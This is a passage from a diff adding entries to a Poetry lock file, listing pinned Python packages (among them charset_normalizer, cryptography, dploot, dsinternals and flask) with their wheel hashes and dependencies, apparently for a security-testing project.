"sha256:e9701d0049d92c16703a42771b98d560b95248949f23f8cf7b4eddd201814fb9"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:65a7ff3f705e57d392f7261b6d0550fe137c3019477431f1c355e0db0a7d3e15"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:79580094b00d1789d1f93ea55bc43cb2f611910c72235b7657f3482ddcc1b22d"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-win32.whl", hash = "sha256:432786d3561e69aeeae6c7e8648964ce0ad05736120135601f87ac26b9c83381"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-win_amd64.whl", hash = "sha256:8c041122946b7ba21bb32c45b1aa57b1be35527690aeb3c5c234521085632eee"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-win_arm64.whl", hash = "sha256:375b83ed0aecfce76c16d198fbc21f3b11b337d68662bea0a995046682a11419"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0e94703ec9684807f20cfb5eed95c70f67f2a8f21ad620146d7b5a13677b93e5"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2a441ea71902098ffe78c5abe6c494f44160b4af614ed16c3d9a3b1d17fd8ee2"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:304b13570067b2547562e308af560b3963857b1fa90bd6afd978130130fe2d6a"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4773092f8019072343a7447203308b176e10199920eb02d6195e81bbb3274c29"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:04ce310cb89c15df659582aee80a0603788732a5e017d5bd5c81158106ce249c"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:c0323c9daef75ef2e5083624b4585018a0c9d5e3b40f607eed81a311270b934b"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:871ff67ea1aad4dfd91736464934d56b32dac49f9fbe16cddba36198a7b3a0db"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:67830fc78e67501f47bb950471b2dcb9b35b140084429318e862895a8e89c993"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:3d92613ec25e43b05f042302531ec0f00b8445190e43325880cbd6ab7c2581da"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:280081916dc341820640489a66e4696049401ef1cf6dd672f672e70ad915aca3"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-win32.whl", hash = "sha256:ac351b3b8014eead140e77e9717e2992c6bbe30b63bc3422422eb84865412e3d"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-win_amd64.whl", hash = "sha256:6366a16e1a25018694d6a5d784d09b046edc9eac40ea2b54065c3052672516a1"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-win_arm64.whl", hash = "sha256:1d22856ffbe153a602df38e4a5464f0b748a54002e0d69ac6d2ad0a197cc99ec"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:45b0cc4e3556cd875e09102988d1ab8356c998b596c9fced84547c8138b487a0"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9b2aff1c7b3884512b9512c3eaadd9bab39fb45042ffaaa1dd08ff2b9f8109d9"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9104ed0bd76a429d46f9ec0dbc9b08ad1d2dcdf2b00a5a0daa1c145329b35b44"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:7b86a2b16095d250c6f58b3d9b2eee6f4147754344f3dab0922f7c9bf7d226c9"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e226f6218febc71f6c1fc2fafb91c226f75bdc1d8fb12d66823716e891608fd"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:90c44bc373b7687f6948b693cceaea1348ae0975d7474746559494468e3c1d84"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cdef90ae47919cae358d8ab15797a800ed41da7aba5d72419fb510729e2ed4b"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:60f44ade2cf573dad7a277e6f8ca9a51a21dda572b13bd7d8539bb3cd5dbedde"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:a1786910334ed46ab1dd73222f2cd1e05c2c3bb39f6dddb4f8b36fc382058a39"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:03d07803992c6c7bbc976327f34b18b6160327fc81cb82c9d504720ac0be3b62"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-win32.whl", hash = "sha256:78841cccf1af7b40f6f716338d50c0902dbe88d9f800b3c973b7a9a0a693a642"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-win_amd64.whl", hash = "sha256:4b3dac63058cc36820b0dd072f89898604e2d39686fe05321729d00d8ac185a0"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-win_arm64.whl", hash = "sha256:78fa18e436a1a0e58dbd7e02fc4473f3f32cceb12df9dfca542d075961c307d2"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:440eede837960000d74978f0eba527be106b5b9aee0daf779d395276ed0b0614"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:21e764fd1e70b6a3e205a0e46f3051701f98a8cb3fad66eeb80e48bb502f8698"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e4fd89cc178bced6ad29cb3e6dd4aa63fa5017c3524dbd0b25998fb64a87cc8b"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bd47ba7fc3ca94896759ea0109775132d3e7ab921fbf54038e1bab2e46c313c9"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:84fd18bcc17526fc2b3c1af7d2b9217d32c9c04448c16ec693b9b4f1985c3d33"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:5b10cd92fc5c498b35a8635df6d5a100207f88b63a4dc1de7ef9a548e1e2cd63"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a4fbdde9dd4a9ce5fd52c2b3a347bb50cc89483ef783f1cb00d408c13f7a96c0"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:416c229f77e5ea25b3dfd4b582f8d73d7e43c22320302b9ab128a2d3a0b38efe"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:75286256590a6320cf106a0d28970d3560aad9ee09aa7b34fb40524792436d35"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:69b157c5d3292bcd443faca052f3096f637f1e074b98212a933c074ae23dc3b8"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-win32.whl", hash = "sha256:51307f5c71007673a2bf8232ad973483d281e74cb99c8c5a990af1eefa6277d9"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-win_amd64.whl", hash = "sha256:fe2c7201c642b7c308f1675355ad7ff7b66acfe3541625efe5a3ad38f29d6115"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-win_arm64.whl", hash = "sha256:611057cc5d5c0afc743ba8be6bd828c17e0aaa8643f9d0a9b9bb7dea80eb8012"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:0327fcd59a935777d83410750c50600ee9571af2846f71ce40f25b13da1ef380"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a79d9f4d8001473a30c163556b3c3bfebec837495a412dde78b51672f6134f9"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:33bdcc2a32c0a0e861f60841a512c8acc658c87c2ac59d89e3a46dacf7d866e4"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f840ed6d8ecba8255df8c42b87fadeda98ddfc6eeec05e2dc66e26d46dd6f58a"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c25fe15c70c59eb7c5ce8c06a1f3fa1da0ecc5ea1e7a5922c40fd2fa9b0d5046"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:f7fb7d750cfa0a070d2c24e831fd3481019a60dd317ea2b39acbcebc08b6ed81"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4d1c96a7a18b9690a4d46df09e3e3382406ae3213727cd1019ebade1c4a81917"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a4cfde78a9f2880208d16a93b795726a3017d5977e08d1e162a7a31322479c41"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:d4d6fcde76f94f5cb9e43e9e9a61f16dacefd228cbbf6f1a09bd9b219a92f1a1"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:898f0e9068ca27d37f8e83a5b962821df851532e6c4a7d615c1c033f9da6eedf"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-win32.whl", hash = "sha256:c1c948747b03be832dceed96ca815cef7360de9aa19d37c730f8e3f6101aca48"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-win_amd64.whl", hash = "sha256:16b65ea0f2465b6fb52aa22de5eca612aa964ddfec00a912e26f4656cbef890b"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-win_arm64.whl", hash = "sha256:40a126142a56b2dfc0aacbad1de8310cbf60da7656db0e6b16eebd48e3e93519"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:609b3ba8fcc0fb5ab7af00719d0fb6ad0cb518e48e7712d12fd68f1327951198"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51447e9aa2684679af07ca5021c3db526e0284347ebf4ffcec1154c3350cfe32"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cc1b0fff8ead343dae06305f954eb8468ba0ec1a97881f42489d198e4ce3c632"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fa36ec09ef71d158186bc79e359ff5fdd6e7996fe8ab638f00d6b93139ba4fcf"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:df115d4d83168fdf2cae48ef1ff6d1cb4c466364e30861b37121de0f3bf1b990"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:f86c6358749bd4fda175388691e3ba8c46e24c5347d0afd20f9b7edfc9faf07d"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:32286a2c8d167e897177b673176c1e3e00d4057caf5d2b64eef9a3666b03018e"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:83aed2c10721ddd90f68140685391b50811a880af20654c59af6b6c66c40513c"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cd6c3d4b783c556fa00bf540854e42f135e2f256abd29669fcd0da0f2dec79c2"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ee2f2a527e3c1a6e6411eb4209642e138b544a2d72fe5d0d76daf77b24063534"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-win32.whl", hash = "sha256:0d861473f743244d349b50f850d10eb87aeb22bbdcc8e64f79273c94af5a8226"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-win_amd64.whl", hash = "sha256:9b8e0f3107e2200b76f6054de99016eac3ee6762713587b36baaa7e4bd2ae177"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-win_arm64.whl", hash = "sha256:19ac87f93086ce37b86e098888555c4b4bc48102279bae3350098c0ed664b501"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:253a4a220747e8b5faf57ec320c4f5efb0cef05f647420bf267143ec15dba10a"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:68ce9f4d6b26d5ccbf7fd4459bf75f74a0a146677ebba80597df60cbdb20e6f4"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:58150c9f9b9a552505912d182ccdf26f6396fb6094816ceebcbb20eecabaed94"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:df7276909358e5635ae203673ab7e509ddd224225a8d6b0790bf13eb2bde1cc5"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3c09a49d6cde137258beb3d551994a2927fd35ad5cf96aed573f61bbd67c5f84"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-manylinux_2_31_armv7l.whl", hash = "sha256:231ddcbb35e2ff8973e1365db41fe0572662893b99a05deb183b68ad4c0c8bd4"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:920079c3f7456fa213e0829ed2073aaa727fd39d889ead5b4f35d0de5460d04f"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:0fa1aec2d32bcc03c8fa0f6f1712caad1adc38509f31142112e5c9daf5b9c833"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:ad41ba96094304aa090f5a30cb6e4fb3b3f1c264c523394b4c39bbacc4dc92ba"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:43b9e366a31fdd1c87d0eb08f579b4a82b723ea54338f040d6b4e518a026ea29"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-win32.whl", hash = "sha256:93d59d504b230e83c7a843251681959a0b6a9cd76f6e146ce1b8a80eb8739af9"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-win_amd64.whl", hash = "sha256:ddf4af30b417d9fe16481e9b81c27ab2a7cde1ff7ba3e85653b02db7d145dc7b"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-win_arm64.whl", hash = "sha256:476743fe6dfe14a2da12e3ac79125dc84a3b2cf8094369a47a1529b0cd8549fe"}, + {file = "charset_normalizer-3.4.9-py3-none-any.whl", hash = "sha256:68e5f26a1ad57ded6d1cfb85331d1c1a195314756471d97758c48498bb4dcdf5"}, + {file = "charset_normalizer-3.4.9.tar.gz", hash = "sha256:673611bbd43f0810bec0b0f028ddeaaa501190339cac411f347ac76917c3ae7b"}, +] + +[[package]] +name = "click" +version = "8.4.2" +description = "Composable command line interface toolkit" +optional = false +python-versions = ">=3.10" +groups = ["main", "dev"] +files = [ + {file = "click-8.4.2-py3-none-any.whl", hash = "sha256:e6f9f66136c816745b9d65817da91d61d957fb16e02e4dcd0552553c5a197b76"}, + {file = "click-8.4.2.tar.gz", hash = "sha256:9a6cea6e60b17ebe0a44c5cc636d94f09bd66142c1cd7d8b4cd731c4917a15f6"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} + +[[package]] +name = "colorama" +version = "0.4.6" +description = "Cross-platform colored terminal text." +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +groups = ["main", "dev"] +files = [ + {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, + {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, +] +markers = {dev = "platform_system == \"Windows\" or sys_platform == \"win32\""} + +[[package]] +name = "cryptography" +version = "42.0.8" +description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "cryptography-42.0.8-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:81d8a521705787afe7a18d5bfb47ea9d9cc068206270aad0b96a725022e18d2e"}, + {file = "cryptography-42.0.8-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:961e61cefdcb06e0c6d7e3a1b22ebe8b996eb2bf50614e89384be54c48c6b63d"}, + {file = "cryptography-42.0.8-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e3ec3672626e1b9e55afd0df6d774ff0e953452886e06e0f1eb7eb0c832e8902"}, + {file = "cryptography-42.0.8-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e599b53fd95357d92304510fb7bda8523ed1f79ca98dce2f43c115950aa78801"}, + {file = "cryptography-42.0.8-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:5226d5d21ab681f432a9c1cf8b658c0cb02533eece706b155e5fbd8a0cdd3949"}, + {file = "cryptography-42.0.8-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:6b7c4f03ce01afd3b76cf69a5455caa9cfa3de8c8f493e0d3ab7d20611c8dae9"}, + {file = "cryptography-42.0.8-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:2346b911eb349ab547076f47f2e035fc8ff2c02380a7cbbf8d87114fa0f1c583"}, + {file = "cryptography-42.0.8-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:ad803773e9df0b92e0a817d22fd8a3675493f690b96130a5e24f1b8fabbea9c7"}, + {file = "cryptography-42.0.8-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:2f66d9cd9147ee495a8374a45ca445819f8929a3efcd2e3df6428e46c3cbb10b"}, + {file = "cryptography-42.0.8-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:d45b940883a03e19e944456a558b67a41160e367a719833c53de6911cabba2b7"}, + {file = "cryptography-42.0.8-cp37-abi3-win32.whl", hash = "sha256:a0c5b2b0585b6af82d7e385f55a8bc568abff8923af147ee3c07bd8b42cda8b2"}, + {file = "cryptography-42.0.8-cp37-abi3-win_amd64.whl", hash = "sha256:57080dee41209e556a9a4ce60d229244f7a66ef52750f813bfbe18959770cfba"}, + {file = "cryptography-42.0.8-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:dea567d1b0e8bc5764b9443858b673b734100c2871dc93163f58c46a97a83d28"}, + {file = "cryptography-42.0.8-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c4783183f7cb757b73b2ae9aed6599b96338eb957233c58ca8f49a49cc32fd5e"}, + {file = "cryptography-42.0.8-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a0608251135d0e03111152e41f0cc2392d1e74e35703960d4190b2e0f4ca9c70"}, + {file = "cryptography-42.0.8-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:dc0fdf6787f37b1c6b08e6dfc892d9d068b5bdb671198c72072828b80bd5fe4c"}, + {file = "cryptography-42.0.8-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:9c0c1716c8447ee7dbf08d6db2e5c41c688544c61074b54fc4564196f55c25a7"}, + {file = "cryptography-42.0.8-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:fff12c88a672ab9c9c1cf7b0c80e3ad9e2ebd9d828d955c126be4fd3e5578c9e"}, + {file = "cryptography-42.0.8-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:cafb92b2bc622cd1aa6a1dce4b93307792633f4c5fe1f46c6b97cf67073ec961"}, + {file = "cryptography-42.0.8-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:31f721658a29331f895a5a54e7e82075554ccfb8b163a18719d342f5ffe5ecb1"}, + {file = "cryptography-42.0.8-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b297f90c5723d04bcc8265fc2a0f86d4ea2e0f7ab4b6994459548d3a6b992a14"}, + {file = "cryptography-42.0.8-cp39-abi3-win32.whl", hash = "sha256:2f88d197e66c65be5e42cd72e5c18afbfae3f741742070e3019ac8f4ac57262c"}, + {file = "cryptography-42.0.8-cp39-abi3-win_amd64.whl", hash = "sha256:fa76fbb7596cc5839320000cdd5d0955313696d9511debab7ee7278fc8b5c84a"}, + {file = "cryptography-42.0.8-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:ba4f0a211697362e89ad822e667d8d340b4d8d55fae72cdd619389fb5912eefe"}, + {file = "cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:81884c4d096c272f00aeb1f11cf62ccd39763581645b0812e99a91505fa48e0c"}, + {file = "cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c9bb2ae11bfbab395bdd072985abde58ea9860ed84e59dbc0463a5d0159f5b71"}, + {file = "cryptography-42.0.8-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:7016f837e15b0a1c119d27ecd89b3515f01f90a8615ed5e9427e30d9cdbfed3d"}, + {file = "cryptography-42.0.8-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:5a94eccb2a81a309806027e1670a358b99b8fe8bfe9f8d329f27d72c094dde8c"}, + {file = "cryptography-42.0.8-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:dec9b018df185f08483f294cae6ccac29e7a6e0678996587363dc352dc65c842"}, + {file = "cryptography-42.0.8-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:343728aac38decfdeecf55ecab3264b015be68fc2816ca800db649607aeee648"}, + {file = "cryptography-42.0.8-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:013629ae70b40af70c9a7a5db40abe5d9054e6f4380e50ce769947b73bf3caad"}, + {file = "cryptography-42.0.8.tar.gz", hash = "sha256:8d09d05439ce7baa8e9e95b07ec5b6c886f548deb7e0f69ef25f64b3bce842f2"}, +] + +[package.dependencies] +cffi = {version = ">=1.12", markers = "platform_python_implementation != \"PyPy\""} + +[package.extras] +docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"] +docstest = ["pyenchant (>=1.6.11)", "readme-renderer", "sphinxcontrib-spelling (>=4.0.1)"] +nox = ["nox"] +pep8test = ["check-sdist", "click", "mypy", "ruff"] +sdist = ["build"] +ssh = ["bcrypt (>=3.1.5)"] +test = ["certifi", "pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-xdist"] +test-randomorder = ["pytest-randomly"] + +[[package]] +name = "dnspython" +version = "2.7.0" +description = "DNS toolkit" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "dnspython-2.7.0-py3-none-any.whl", hash = "sha256:b4c34b7d10b51bcc3a5071e7b8dee77939f1e878477eeecc965e9835f63c6c86"}, + {file = "dnspython-2.7.0.tar.gz", hash = "sha256:ce9c432eda0dc91cf618a5cedf1a4e142651196bbcd2c80e89ed5a907e5cfaf1"}, +] + +[package.extras] +dev = ["black (>=23.1.0)", "coverage (>=7.0)", "flake8 (>=7)", "hypercorn (>=0.16.0)", "mypy (>=1.8)", "pylint (>=3)", "pytest (>=7.4)", "pytest-cov (>=4.1.0)", "quart-trio (>=0.11.0)", "sphinx (>=7.2.0)", "sphinx-rtd-theme (>=2.0.0)", "twine (>=4.0.0)", "wheel (>=0.42.0)"] +dnssec = ["cryptography (>=43)"] +doh = ["h2 (>=4.1.0)", "httpcore (>=1.0.0)", "httpx (>=0.26.0)"] +doq = ["aioquic (>=1.0.0)"] +idna = ["idna (>=3.7)"] +trio = ["trio (>=0.23)"] +wmi = ["wmi (>=1.5.1)"] + +[[package]] +name = "dploot" +version = "4.1.1" +description = "DPAPI looting remotely in Python" +optional = false +python-versions = "<4.0,>=3.10" +groups = ["main"] +files = [ + {file = "dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a"}, + {file = "dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248"}, +] + +[package.dependencies] +cryptography = ">=40.0.1" +impacket = ">=0.13.0" +lxml = ">=5.0" +pick = ">=2.6.0,<3.0.0" +pyasn1 = ">=0.4.8" +pypsrp = ">=0.9.1,<0.10.0" + +[[package]] +name = "dsinternals" +version = "1.2.5" +description = "Directory Services Internals Library" +optional = false +python-versions = ">=3.4" +groups = ["main"] +files = [ + {file = "dsinternals-1.2.5-py3-none-any.whl", hash = "sha256:25c544558381a86644fc6ef3b131f2a7450675b35e324553cb414b696d86d7bd"}, +] + +[package.dependencies] +pycryptodomex = "*" +pyopenssl = "*" + +[[package]] +name = "flake8" +version = "7.3.0" +description = "the modular source code checker: pep8 pyflakes and co" +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "flake8-7.3.0-py2.py3-none-any.whl", hash = "sha256:b9696257b9ce8beb888cdbe31cf885c90d31928fe202be0889a7cdafad32f01e"}, + {file = "flake8-7.3.0.tar.gz", hash = "sha256:fe044858146b9fc69b551a4b490d69cf960fcb78ad1edcb84e7fbb1b4a8e3872"}, +] + +[package.dependencies] +mccabe = ">=0.7.0,<0.8.0" +pycodestyle = ">=2.14.0,<2.15.0" +pyflakes = ">=3.4.0,<3.5.0" + +[[package]] +name = "flask" +version = "3.1.3" +description = "A simple framework for building complex web applications." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "flask-3.1.3-py3-none-any.whl", hash = "sha256:f4bcbefc124291925f1a26446da31a5178f9483862233b23c0c96a20701f670c"}, + {file = "flask-3.1.3.tar.gz", hash = "sha256:0ef0e52b8a9cd932855379197dd8f94047b359ca0a78695144304cb45f87c9eb"}, +] + +[package.dependencies] +blinker = ">=1.9.0" +click = ">=8.1.3" +itsdangerous = ">=2.2.0" +jinja2 = ">=3.1.2" +markupsafe = ">=2.1.1" +werkzeug = ">=3.1.0" + +[package.extras] +async = ["asgiref (>=3.2)"] +dotenv = ["python-dotenv"] + +[[package]] +name = "greenlet" +version = "3.5.5" +description = "Lightweight in-process concurrent programming" +optional = false +python-versions = ">=3.10" +groups = ["main"] +markers = "platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\"" +files = [ + {file = "greenlet-3.5.5-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:816230f469381ad0a43abc9fa8dda5a699e32fb78958dde32ded93213b70a667"}, + {file = "greenlet-3.5.5-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a5433cf291e0ef9114bd14d0d824db6e5e4a43033234bca48181a9597acca07b"}, + {file = 